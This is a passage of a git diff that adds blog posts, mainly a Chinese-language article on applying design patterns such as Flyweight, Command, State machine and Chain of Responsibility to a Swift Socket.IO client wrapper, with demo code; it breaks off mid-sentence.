parseFloat(report.rows[0].metricValues[0].value) * 100; +} +``` + +再次點擊上方 Run or Debug 執行「execute」。 + + +![](/assets/793cb8f89b72/1*tO7f0t5if6Db_eiv5BLOUQ.png) + + +回到 Google Sheet,數據新增成功! +#### 新增 Trigger 排程自動執行 + + +![](/assets/793cb8f89b72/1*MGO4FhC_8N8ul9dXZRYaMg.jpeg) + + +選擇左方時鐘按鈕 \-> 右下方「\+ Add Trigger」。 + + +![](/assets/793cb8f89b72/1*EArxafXakAcfuPWcr1wtIg.png) + +- 第一個 function 選擇「execute」 +- time based trigger 可選擇 week timer 每週追蹤&新增一次數據 + + +設定完點擊 Save 即可。 +### 完成 + +現在開始,紀錄追蹤 App Crash\-Free Users Rate 數據完全自動化;不需要人工手動查詢&填入;全部交給機器自動處理! + + +> 我們只需專注在解決 App Crash 問題! + + + + + +> _p\.s\. 不同於上一篇使用 Big Query 需要花錢查詢資料,此篇查詢 Crash\-Free Users Rate、Google Apps Script 都是完全免費,可以放心使用。_ + + + + + +如果想將結果同步發送到 Slack Channel 可參考 [上一篇文章](../e77b80cc6f89/) : + + +![](/assets/793cb8f89b72/1*0VfbK9BIt13LsIEeHGc2LQ.jpeg) + +### 延伸閱讀 +- [Ultimate Beginner’s Guide to Google Analytics 4 \(NEW 2023 Interface\)](https://www.websiteplanet.com/blog/ultimate-beginners-guide-google-analytics/){:target="_blank"} \(Thanks to Emma for providing the information \) +- [Crashlytics \+ Big Query 打造更即時便利的 Crash 追蹤工具](../e77b80cc6f89/) +- [使用 Python\+Google Cloud Platform\+Line Bot 自動執行例行瑣事](../70a1409b149a/) +- [Slack 打造全自動 WFH 員工健康狀況回報系統](../d61062833c1a/) +- [運用 Google Apps Script 轉發 Gmail 信件到 Slack](../d414bdbdb8c9/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/crashlytics-google-analytics-%E8%87%AA%E5%8B%95%E6%9F%A5%E8%A9%A2-app-crash-free-users-rate-793cb8f89b72){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2022-04-07-78507a8de6a5.md b/_posts/zmediumtomarkdown/2022-04-07-78507a8de6a5.md new file mode 100644 index 000000000..c30d3adc9 --- /dev/null +++ b/_posts/zmediumtomarkdown/2022-04-07-78507a8de6a5.md @@ -0,0 +1,1242 @@ +--- +title: "Design Patterns 的實戰應用紀錄" +author: "ZhgChgLi" +date: 2022-04-07T14:49:17.715+0000 +last_modified_at: 2024-04-14T02:03:19.276+0000 +categories: "Pinkoi Engineering" +tags: ["ios-app-development","design-patterns","socketio","websocket","finite-state-machine"] +description: "封裝 Socket.IO Client Library 需求時遇到的問題場景及解決方法應用到的 Design Patterns" +image: + path: /assets/78507a8de6a5/1*mkG0YtCzyPQpU9MG0HI79w.jpeg +pin: true +render_with_liquid: false +--- + +### Design Patterns 的實戰應用紀錄 + +封裝 Socket\.IO Client Library 需求時遇到的問題場景及解決方法應用到的 Design Patterns + + +![Photo by [Daniel McCullough](https://unsplash.com/@d_mccullough?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/78507a8de6a5/1*mkG0YtCzyPQpU9MG0HI79w.jpeg) + +Photo by [Daniel McCullough](https://unsplash.com/@d_mccullough?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 前言 + +此篇文章是真實的需求開發,所運用到 Design Pattern 解決問題的場景記錄;內容篇幅會涵蓋需求背景、實際遇到的問題場景 \(What?\)、為何要套用 Pattern 解決問題 \(Why?\)、實作上如何使用 \(How?\),建議可以從頭閱讀會比較有連貫性。 + + +> _本文會介紹四個開發此需求遇到的場景及七個解決此場景的 Design Patterns 應用。_ + + + + +### 背景 +#### 組織架構 + +敝司於今年拆分出 Feature Teams \(multiple\) 與 Platform Team;前者不必多說主要負責使用者端需求、Platform Team 這邊則面對的是公司內部的成員,其中一個工作項目就是技術引入、基礎建設及做好系統性整合,為 Feature Teams 開發需求時先鋒鋪好道路。 +#### 當前需求 + +Feature Teams 要將原本的訊息功能 \(進頁面打 API 拿訊息資料,要更新最新訊息只能重整\) 改為 即時通訊 \(能即時收到最新訊息、對傳訊息\)。 +#### Platform Team 工作 + +Platform Team 著重的點不只是當下的即時通訊需求,而是長遠的建設與複用性;評估後 webSocket 雙向通訊的機制在現代 App 中是不可或缺,除了此次的需求之外,以後也有很多機會都會用到,加上人力資源許可,故投入協助設計開發介面。 + +**目標:** +- 封裝 Pinkoi Server Side 與 Socket\.IO 通訊、身份驗證邏輯 +- 封裝 Socket\.IO 煩瑣操作,提供基於 Pinkoi 商業需求的可擴充及方便使用介面 +- 統一雙平台介面 **\(Socket\.IO 的 Android 與 iOS Client Side Library 支援的功能及介面不相同\)** +- Feature 端無需了解 Socket\.IO 機制 +- Feature 端無需管理複雜的連線狀態 +- 未來有 webSocket 雙向通訊需求能直接使用 + + +**時間及人力:** +- iOS & Android 各投入一位 +- 開發時程:時程 3 週 + +#### 技術細節 + +Web & iOS & Android 三平台均會支援此 Feature;要引入 webSocket 雙向通訊協議來實現,後端預計直接使用 [Socket\.io](http://socket.io/){:target="_blank"} 服務。 + + +> **_首先要說 Socket \!= WebSocket_** + + + + + +關於 Socket 與 WebSocket 及技術細節可參考以下兩篇文章: +- [Socket,Websocket,Socket\.io的差異](https://leesonhsu.blogspot.com/2018/07/socketwebsocketsocketio.html){:target="_blank"} +- [为什么不直接使用socket ,还要定义一个新的websocket 的呢?](https://github.com/onlyliuxin/coding2017/issues/497){:target="_blank"} + + +簡而言之: +``` +Socket 是 TCP/UDP 傳輸層的抽象封裝介面,而 WebSocket 是應用層的傳輸協議。 +Socket 與 WebSocket 的關係就像狗跟熱狗的關係一樣,沒有關係。 +``` + + +![](/assets/78507a8de6a5/1*MC_nQC382khMeWggLejWOA.jpeg) + + +Socket\.IO 是 Engine\.IO 的一層抽象操作封裝,Engine\.IO 則是對 WebSocket 的使用封裝,每層只負責對上對下之間的交流,不允許貫穿操作\(e\.g\. Socket\.IO 直接操作 WebSocket 連線\)。 + +Socket\.IO/Engine\.IO 除了基本的 WebSocket 連線外還實做了很多方便好用的功能集合\(e\.g\. 離線發送 Event 機制、類似 Http Request 機制、Room/Group 機制…等等\)。 + +Platform Team 這層的主要職責是橋接 Socket\.IO 與 Pinkoi Server Side 之間的邏輯,供應上層 Feature Teams 開發功能時使用。 +#### [Socket\.IO Swift Client](https://github.com/socketio/socket.io-client-swift){:target="_blank"} 有坑 +- 已許久未更新 \(最新一版還在 2019\),不確定是否還有在維護。 +- Client & Server Side Socket IO Version 要對齊,Server Side 可加上 `{allowEIO3: true}` / 或 Client Side 指定相同版本 `.version` +否則怎麼連都連不上。 +- 命名方式、介面與官網範例很多都對不起來。 +- Socket\.io 官網範例都是拿 Web 做介紹,實際上 Swift Client **並不一定有全支援官網寫的功能** 。 +此次實作發現 iOS 這邊 Library 並未實現離線發送 Event 機制 +\(我們是自行實現的,請往後繼續閱讀\) + + + +> **_建議有要採用 Socket\.IO 前先實驗看看你想要的機制是否支援。_** + + +> _Socket\.IO Swift Client 是基於 **[Starscream](https://github.com/daltoniam/Starscream){:target="_blank"}** WebSocket Library 的封裝,必要時可降級使用 Starscream。_ + + + + +``` +背景資訊補充到此結束,接下來進入正題。 +``` +### Design Patterns + +設計模式說穿了就只是軟體設計當中常見問題的解決方案,不一定要用設計模式才能開發、設計模式不一定能適用所有場景、也沒人說不能自行歸納出新的設計模式。 + + +![[The Catalog of Design Patterns](https://refactoring.guru/design-patterns/catalog){:target="_blank"}](/assets/78507a8de6a5/1*MAm5WPynbv7M9tdmW2lNGQ.jpeg) + +[The Catalog of Design Patterns](https://refactoring.guru/design-patterns/catalog){:target="_blank"} + +但現有的設計模式 \(The 23 Gang of Four Design Patterns\) 已是軟體設計中的共同知識,只要提到 XXX Pattern 大家腦中就會有相應的架構藍圖,不需多做解釋、後續維護也比較好知道脈絡、且已是經過業界驗證的方法不太需要花時間審視物件依賴問題;在適合的場景選用適合的模式可以降低溝通及維護成本,提升開發效率。 + + +> **_設計模式可以組合使用,但不建議對現有設計模式魔改、強行為套用而套用、套用不符合分類的 Pattern \(e\.g\. 用責任練模式來產生物件\),會失去使用的意義更可能造成後續接手的人的誤會。_** + + + + +#### 本篇會提到的 Design Patterns: +- [Singleton Pattern](https://refactoring.guru/design-patterns/singleton){:target="_blank"} +- [Flywieght Pattern](https://refactoring.guru/design-patterns/flyweight){:target="_blank"} +- [Factory Pattern](https://refactoring.guru/design-patterns/factory-method){:target="_blank"} +- [Command Pattern](https://refactoring.guru/design-patterns/command){:target="_blank"} +- [Finite\-State Machine](https://en.wikipedia.org/wiki/Finite-state_machine){:target="_blank"} \+ [State Pattern](https://refactoring.guru/design-patterns/state){:target="_blank"} +- [Chain Of Resposibility](https://refactoring.guru/design-patterns/chain-of-responsibility){:target="_blank"} +- [Builder Pattern](https://refactoring.guru/design-patterns/builder){:target="_blank"} + + +會逐一在後面解釋什麼場境用了、為何要用。 + + +> _本文著重在 Design Pattern 的應用,而非 Socket\.IO 的操作,部分示例會因為描述方便而有所刪減, **無法適用真實的 Socket\.IO 封裝** 。_ + + + + + +> _因篇幅有限,本文不會詳細介紹每個設計模式的架構,請先點各個模式的連結進入了解該模式的架構後再繼續閱讀。_ + + + + + +> _Demo Code 會使用 Swift 撰寫。_ + + + + +### 需求場景 1\. +#### What? +- 使用相同的 Path 在不同頁面、Object 請求 Connection 時能複用取得相同的物件。 +- Connection 需為抽象介面,不直接依賴 Socket\.IO Object + +#### Why? +- 減少記憶體開銷及重複連線的時間、流量成本。 +- 為未來抽換成其他框架預留空間 + +#### How? +- [Singleton Pattern](https://refactoring.guru/design-patterns/singleton){:target="_blank"} :創建型 Pattern,保證一個物件只會有一個實體。 +- [Flywieght Pattern](https://refactoring.guru/design-patterns/flyweight){:target="_blank"} :結構型 Pattern,基於共享多個物件相同的狀態,重複使用。 +- [Factory Pattern](https://refactoring.guru/design-patterns/factory-method){:target="_blank"} :創建型 Pattern,抽象物件產生方法,使其能在外部抽換。 + + +**實際案例使用:** + + +![](/assets/78507a8de6a5/1*flQa_EfErGBwbmEwpI7ZgQ.png) + +- **Singleton Pattern:** `ConnectionManager` 在 App Lifecycle 中僅存在一個的物件,用來管理 `Connection` 取用操作。 +- **Flywieght Pattern:** `ConnectionPool` 顧名思義就是 Connection 的共用池子,統一從這個池子的方法拿出 Connection,其中邏輯就會包含當發現 URL Path 一樣時直接給予已經在池子裡的 Connection。 +`ConnectionHandler` 則做為 `Connection` 的外在操作、狀態管理器。 +- **Factory Pattern:** `ConnectionFactory` 搭配上面 Flywieght Pattern 當發現池子沒有可複用的 `Connection` 時則用此工廠介面去產生。 + +```swift +import Combine +import Foundation + +protocol Connection { + var url: URL {get} + var id: UUID {get} + + init(url: URL) + + func connect() + func disconnect() + + func sendEvent(_ event: String) + func onEvent(_ event: String) -> AnyPublisher +} + +protocol ConnectionFactory { + func create(url: URL) -> Connection +} + +class ConnectionPool { + + private let connectionFactory: ConnectionFactory + private var connections: [Connection] = [] + + init(connectionFactory: ConnectionFactory) { + self.connectionFactory = connectionFactory + } + + func getOrCreateConnection(url: URL) -> Connection { + if let connection = connections.first(where: { $0.url == url }) { + return connection + } else { + let connection = connectionFactory.create(url: url) + connections.append(connection) + return connection + } + } + +} + +class ConnectionHandler { + private let connection: Connection + init(connection: Connection) { + self.connection = connection + } + + func getConnectionUUID() -> UUID { + return connection.id + } +} + +class ConnectionManager { + static let shared = ConnectionManager(connectionPool: ConnectionPool(connectionFactory: SIOConnectionFactory())) + private let connectionPool: ConnectionPool + private init(connectionPool: ConnectionPool) { + self.connectionPool = connectionPool + } + + // + func requestConnectionHandler(url: URL) -> ConnectionHandler { + let connection = connectionPool.getOrCreateConnection(url: url) + return ConnectionHandler(connection: connection) + } +} + +// Socket.IO Implementation +class SIOConnection: Connection { + let url: URL + let id: UUID = UUID() + + required init(url: URL) { + self.url = url + // + } + + func connect() { + // + } + + func disconnect() { + // + } + + func sendEvent(_ event: String) { + // + } + + func onEvent(_ event: String) -> AnyPublisher { + // + return PassthroughSubject().eraseToAnyPublisher() + } +} + +class SIOConnectionFactory: ConnectionFactory { + func create(url: URL) -> Connection { + // + return SIOConnection(url: url) + } +} +// + +print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: "wss://pinkoi.com/1")!).getConnectionUUID().uuidString) +print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: "wss://pinkoi.com/1")!).getConnectionUUID().uuidString) + +print(ConnectionManager.shared.requestConnectionHandler(url: URL(string: "wss://pinkoi.com/2")!).getConnectionUUID().uuidString) + +// output: +// D99F5429-1C6D-4EB5-A56E-9373D6F37307 +// D99F5429-1C6D-4EB5-A56E-9373D6F37307 +// 599CF16F-3D7C-49CF-817B-5A57C119FE31 +``` +### 需求場景 2\. +#### What? + +如背景技術細節所述,Socket\.IO Swift Client 的 `Send Event` 並不支援離線發送 \(但 Web/Android 版的 Library 卻可以\),因此 iOS 端需要自行實現此功能。 +``` +神奇的是 Socket.IO Swift Client - onEvent 是支援離線訂閱的。 +``` +#### Why? +- 跨平台功能統一 +- 程式碼容易理解 + +#### How? +- [Command Pattern](https://refactoring.guru/design-patterns/command){:target="_blank"} :行為型 Pattern,將操作包裝成對象,提供隊列、延遲、取消…等等集合操作。 + + + +![](/assets/78507a8de6a5/1*O9zc28nMx64HDiDy4aiexA.png) + +- **Command Pattern:** `SIOManager` 為與 Socket\.IO 溝通的最底層封裝,其中的 `send` 、 `request` 方法都是對 Socket\.IO Send Event 的操作,當發現當前 Socket\.IO 處於斷線狀態,則將請求參數放到 `bufferedCommands` 中,當連上之後就逐一拿出來處理 \(First In First Out\)。 + +```swift +protocol BufferedCommand { + var sioManager: SIOManagerSpec? { get set } + var event: String { get } + + func execute() +} + +struct SendBufferedCommand: BufferedCommand { + let event: String + weak var sioManager: SIOManagerSpec? + + func execute() { + sioManager?.send(event) + } +} + +struct RequestBufferedCommand: BufferedCommand { + let event: String + let callback: (Data?) -> Void + weak var sioManager: SIOManagerSpec? + + func execute() { + sioManager?.request(event, callback: callback) + } +} + +protocol SIOManagerSpec: AnyObject { + func connect() + func disconnect() + func onEvent(event: String, callback: @escaping (Data?) -> Void) + func send(_ event: String) + func request(_ event: String, callback: @escaping (Data?) -> Void) +} + +enum ConnectionState { + case created + case connected + case disconnected + case reconnecting + case released +} + +class SIOManager: SIOManagerSpec { + + var state: ConnectionState = .disconnected { + didSet { + if state == .connected { + executeBufferedCommands() + } + } + } + + private var bufferedCommands: [BufferedCommand] = [] + + func connect() { + state = .connected + } + + func disconnect() { + state = .disconnected + } + + func send(_ event: String) { + guard state == .connected else { + appendBufferedCommands(connectionCommand: SendBufferedCommand(event: event, sioManager: self)) + return + } + + print("Send:\(event)") + } + + func request(_ event: String, callback: @escaping (Data?) -> Void) { + guard state == .connected else { + appendBufferedCommands(connectionCommand: RequestBufferedCommand(event: event, callback: callback, sioManager: self)) + return + } + + print("request:\(event)") + } + + func onEvent(event: String, callback: @escaping (Data?) -> Void) { + // + } + + func appendBufferedCommands(connectionCommand: BufferedCommand) { + bufferedCommands.append(connectionCommand) + } + + func executeBufferedCommands() { + // First in, first out + bufferedCommands.forEach { connectionCommand in + connectionCommand.execute() + } + bufferedCommands.removeAll() + } + + func removeAllBufferedCommands() { + bufferedCommands.removeAll() + } +} + +let manager = SIOManager() +manager.send("send_event_1") +manager.send("send_event_2") +manager.request("request_event_1") { _ in + // +} +manager.state = .connected +``` + +同理也可以實現到 `onEvent` 上。 + +延伸:可以再套用 [Proxy Pattern](https://refactoring.guru/design-patterns/proxy){:target="_blank"} ,將 Buffer 功能視為一種 Proxy。 +### 需求場景 3\. +#### What? + +Connection 有多個狀態,有序的狀態與狀態間切換、各狀態允許不同的操作。 + + +![](/assets/78507a8de6a5/1*DBl6K1cPQc_cHOYXZ1VQ8A.jpeg) + + + +![](/assets/78507a8de6a5/1*-Xk_TT6SMW5Jxd-c8iSCcw.jpeg) + +- Created:物件被建立,允許 \-> `Connected` 或直接進 `Disconnected` +- Connected:已連上 Socket\.IO,允許 \-> `Disconnected` +- Disconnected:已與 Socket\.IO 斷線,允許 \-> `Reconnectiong` 、 `Released` +- Reconnectiong:正在嘗試重新連上 Socket\.IO,允許 \-> `Connected` 、 `Disconnected` +- Released:物件已被標示為等待被記憶體回收,不允許任何操作及切換狀態 + +#### Why? +- 狀態與狀態的切換邏輯跟表述不容易 +- 各狀態要限制操作方法\(e\.g\. State = Released 時無法 Call Send Event\),直接使用 if\. \.else 會讓程式難以維護閱讀 + +#### How? +- [Finite State Machine](https://en.wikipedia.org/wiki/Finite-state_machine){:target="_blank"} :管理狀態間的切換 +- [State Pattern](https://refactoring.guru/design-patterns/state){:target="_blank"} :行為型 Pattern,對象的狀態有變化時,有不同的相應處理 + + + +![](/assets/78507a8de6a5/1*NgehABZTiXL_fFEYQh63Hg.png) + +- **Finite State Machine** : `SIOConnectionStateMachine` 為狀態機實作, `currentSIOConnectionState` 為當前狀態, `created、connected、disconnected、reconnecting、released` 表列出此狀態機可能的切換狀態。 +`enterXXXState() throws` 為從 Current State 進入某個狀態時的允許與不允許\(throw error\)實作。 +- **State Pattern** : `SIOConnectionState` 為所有狀態會用到的操作方法介面抽象。 + +```swift +protocol SIOManagerSpec: AnyObject { + func connect() + func disconnect() + func onEvent(event: String, callback: @escaping (Data?) -> Void) + func send(_ event: String) + func request(_ event: String, callback: @escaping (Data?) -> Void) +} + +enum ConnectionState { + case created + case connected + case disconnected + case reconnecting + case released +} + +class SIOManager: SIOManagerSpec { + + var state: ConnectionState = .disconnected { + didSet { + if state == .connected { + executeBufferedCommands() + } + } + } + + private var bufferedCommands: [BufferedCommand] = [] + + func connect() { + state = .connected + } + + func disconnect() { + state = .disconnected + } + + func send(_ event: String) { + guard state == .connected else { + appendBufferedCommands(connectionCommand: SendBufferedCommand(event: event, sioManager: self)) + return + } + + print("Send:\(event)") + } + + func request(_ event: String, callback: @escaping (Data?) -> Void) { + guard state == .connected else { + appendBufferedCommands(connectionCommand: RequestBufferedCommand(event: event, callback: callback, sioManager: self)) + return + } + + print("request:\(event)") + } + + func onEvent(event: String, callback: @escaping (Data?) -> Void) { + // + } + + func appendBufferedCommands(connectionCommand: BufferedCommand) { + bufferedCommands.append(connectionCommand) + } + + func executeBufferedCommands() { + // First in, first out + bufferedCommands.forEach { connectionCommand in + connectionCommand.execute() + } + bufferedCommands.removeAll() + } + + func removeAllBufferedCommands() { + bufferedCommands.removeAll() + } +} + +let manager = SIOManager() +manager.send("send_event_1") +manager.send("send_event_2") +manager.request("request_event_1") { _ in + // +} +manager.state = .connected + +// + +class SIOConnectionStateMachine { + + private(set) var currentSIOConnectionState: SIOConnectionState! + + private var created: SIOConnectionState! + private var connected: SIOConnectionState! + private var disconnected: SIOConnectionState! + private var reconnecting: SIOConnectionState! + private var released: SIOConnectionState! + + init() { + self.created = SIOConnectionCreatedState(stateMachine: self) + self.connected = SIOConnectionConnectedState(stateMachine: self) + self.disconnected = SIOConnectionDisconnectedState(stateMachine: self) + self.reconnecting = SIOConnectionReconnectingState(stateMachine: self) + self.released = SIOConnectionReleasedState(stateMachine: self) + + self.currentSIOConnectionState = created + } + + func enterConnected() throws { + if [created.connectionState, reconnecting.connectionState].contains(currentSIOConnectionState.connectionState) { + enter(connected) + } else { + throw SIOConnectionStateMachineError("\(currentSIOConnectionState.connectionState) can't enter to Connected") + } + } + + func enterDisconnected() throws { + if [created.connectionState, connected.connectionState, reconnecting.connectionState].contains(currentSIOConnectionState.connectionState) { + enter(disconnected) + } else { + throw SIOConnectionStateMachineError("\(currentSIOConnectionState.connectionState) can't enter to Disconnected") + } + } + + func enterReconnecting() throws { + if [disconnected.connectionState].contains(currentSIOConnectionState.connectionState) { + enter(reconnecting) + } else { + throw SIOConnectionStateMachineError("\(currentSIOConnectionState.connectionState) can't enter to Reconnecting") + } + } + + func enterReleased() throws { + if [disconnected.connectionState].contains(currentSIOConnectionState.connectionState) { + enter(released) + } else { + throw SIOConnectionStateMachineError("\(currentSIOConnectionState.connectionState) can't enter to Released") + } + } + + private func enter(_ state: SIOConnectionState) { + currentSIOConnectionState = state + } +} + + +protocol SIOConnectionState { + var connectionState: ConnectionState { get } + var stateMachine: SIOConnectionStateMachine { get } + init(stateMachine: SIOConnectionStateMachine) + + func onConnected() throws + func onDisconnected() throws + + + func connect(socketManager: SIOManagerSpec) throws + func disconnect(socketManager: SIOManagerSpec) throws + func release(socketManager: SIOManagerSpec) throws + + func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws + func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws + func send(socketManager: SIOManagerSpec, event: String) throws +} + +struct SIOConnectionStateMachineError: Error { + let message: String + + init(_ message: String) { + self.message = message + } + + var localizedDescription: String { + return message + } +} + +class SIOConnectionCreatedState: SIOConnectionState { + + let connectionState: ConnectionState = .created + let stateMachine: SIOConnectionStateMachine + + required init(stateMachine: SIOConnectionStateMachine) { + self.stateMachine = stateMachine + } + + func onConnected() throws { + try stateMachine.enterConnected() + } + + func onDisconnected() throws { + try stateMachine.enterDisconnected() + } + + func release(socketManager: SIOManagerSpec) throws { + throw SIOConnectionStateMachineError("ConnectedState can't release!") + } + + func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func send(socketManager: SIOManagerSpec, event: String) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func connect(socketManager: SIOManagerSpec) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func disconnect(socketManager: SIOManagerSpec) throws { + throw SIOConnectionStateMachineError("CreatedState can't disconnect!") + } +} + +class SIOConnectionConnectedState: SIOConnectionState { + + let connectionState: ConnectionState = .connected + let stateMachine: SIOConnectionStateMachine + + required init(stateMachine: SIOConnectionStateMachine) { + self.stateMachine = stateMachine + } + + func onConnected() throws { + // + } + + func onDisconnected() throws { + try stateMachine.enterDisconnected() + } + + func release(socketManager: SIOManagerSpec) throws { + throw SIOConnectionStateMachineError("ConnectedState can't release!") + } + + func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func send(socketManager: SIOManagerSpec, event: String) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func connect(socketManager: SIOManagerSpec) throws { + throw SIOConnectionStateMachineError("ConnectedState can't connect!") + } + + func disconnect(socketManager: SIOManagerSpec) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } +} + +class SIOConnectionDisconnectedState: SIOConnectionState { + + let connectionState: ConnectionState = .disconnected + let stateMachine: SIOConnectionStateMachine + + required init(stateMachine: SIOConnectionStateMachine) { + self.stateMachine = stateMachine + } + + func onConnected() throws { + try stateMachine.enterConnected() + } + + func onDisconnected() throws { + // + } + + func release(socketManager: SIOManagerSpec) throws { + try stateMachine.enterReleased() + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func send(socketManager: SIOManagerSpec, event: String) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func connect(socketManager: SIOManagerSpec) throws { + try stateMachine.enterReconnecting() + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func disconnect(socketManager: SIOManagerSpec) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } +} + +class SIOConnectionReconnectingState: SIOConnectionState { + + let connectionState: ConnectionState = .reconnecting + let stateMachine: SIOConnectionStateMachine + + required init(stateMachine: SIOConnectionStateMachine) { + self.stateMachine = stateMachine + } + + func onConnected() throws { + try stateMachine.enterConnected() + } + + func onDisconnected() throws { + try stateMachine.enterDisconnected() + } + + func release(socketManager: SIOManagerSpec) throws { + throw SIOConnectionStateMachineError("ReconnectState can't release!") + } + + func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func send(socketManager: SIOManagerSpec, event: String) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } + + func connect(socketManager: SIOManagerSpec) throws { + throw SIOConnectionStateMachineError("ReconnectState can't connect!") + } + + func disconnect(socketManager: SIOManagerSpec) throws { + // allow + // can use Helper to reduce the repeating code + // e.g. helper.XXX(socketManager: SIOManagerSpec, ....) + } +} + +class SIOConnectionReleasedState: SIOConnectionState { + + let connectionState: ConnectionState = .released + let stateMachine: SIOConnectionStateMachine + + required init(stateMachine: SIOConnectionStateMachine) { + self.stateMachine = stateMachine + } + + func onConnected() throws { + throw SIOConnectionStateMachineError("ReleasedState can't onConnected!") + } + + func onDisconnected() throws { + throw SIOConnectionStateMachineError("ReleasedState can't onDisconnected!") + } + + func release(socketManager: SIOManagerSpec) throws { + throw SIOConnectionStateMachineError("ReleasedState can't release!") + } + + func request(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + throw SIOConnectionStateMachineError("ReleasedState can't request!") + } + + func onEvent(socketManager: SIOManagerSpec, event: String, callback: @escaping (Data?) -> Void) throws { + throw SIOConnectionStateMachineError("ReleasedState can't receiveOn!") + } + + func send(socketManager: SIOManagerSpec, event: String) throws { + throw SIOConnectionStateMachineError("ReleasedState can't send!") + } + + func connect(socketManager: SIOManagerSpec) throws { + throw SIOConnectionStateMachineError("ReleasedState can't connect!") + } + + func disconnect(socketManager: SIOManagerSpec) throws { + throw SIOConnectionStateMachineError("ReleasedState can't disconnect!") + } +} + +do { + let stateMachine = SIOConnectionStateMachine() + // mock on socket.io connect: + // socketIO.on(connect){ + try stateMachine.currentSIOConnectionState.onConnected() + try stateMachine.currentSIOConnectionState.send(socketManager: manager, event: "test") + try stateMachine.currentSIOConnectionState.release(socketManager: manager) + try stateMachine.currentSIOConnectionState.send(socketManager: manager, event: "test") + // } +} catch { + print("error: \(error)") +} + +// output: +// error: SIOConnectionStateMachineError(message: "ConnectedState can\'t release!") +``` +### 需求場景 3\. +#### What? + +結合場景 1\. 2\.,有了 `ConnectionPool` 享元池子加上 State Pattern 狀態管理後;我們繼續往下延伸,如背景目標所述,Feature 端不需去管背後 Connection 的連線機制;因此我們建立了一個輪詢器 \(命名為 `ConnectionKeeper` \) 會定時掃描 `ConnectionPool` 中強持有的 `Connection` ,並在發生以下狀況時做操作: +- `Connection` 有人在使用且狀態非 `Connected` :將狀態改為 `Reconnecting` 並嘗試重新連線 +- `Connection` 已無人使用且狀態為 `Connected` :將狀態改為 `Disconnected` +- `Connection` 已無人使用且狀態為 `Disconnected` :將狀態改為 `Released` 並從 `ConnectionPool` 中移除 + +#### Why? +- 三個操作有上下關係且互斥 \(disconnected \-> released or reconnecting\) +- 可彈性抽換、增加狀況操作 +- 未封裝的話只能將三個判斷及操作直接寫在方法中 \(難以測試其中邏輯\) +- e\.g: + +```swift +if !connection.isOccupie() && connection.state == .connected then +... connection.disconnected() +else if !connection.isOccupie() && state == .released then +... connection.release() +else if connection.isOccupie() && state == .disconnected then +... connection.reconnecting() +end +``` +#### How? +- [Chain Of Resposibility](https://refactoring.guru/design-patterns/chain-of-responsibility){:target="_blank"} :行為型 Pattern,顧名思義是一條鏈,每個節點都有相應的操作,輸入資料後節點可決定是否要操作還是丟給下一個節點處理,另一個現實應用是 [iOS Responder Chain](https://swiftrocks.com/understanding-the-ios-responder-chain){:target="_blank"} 。 + + + +> _照定義 Chain of responsibility Pattern 是不允許某個節點已經接下處理資料,但處理完又丟給下一個節點繼續處理, **要做就做完,不然不要做** 。_ + + +> _如果是上述場景比較適合的應該是 [Interceptor Pattern](https://stackoverflow.com/questions/7951306/chain-of-responsibility-vs-interceptor){:target="_blank"} 。_ + + + + + + +![](/assets/78507a8de6a5/1*e8jHpykN1m3Y66Ukf-5OJA.png) + +- **Chain of responsibility:** `ConnectionKeeperHandler` 為鍊的節點抽象,特別抽出 `canExcute` 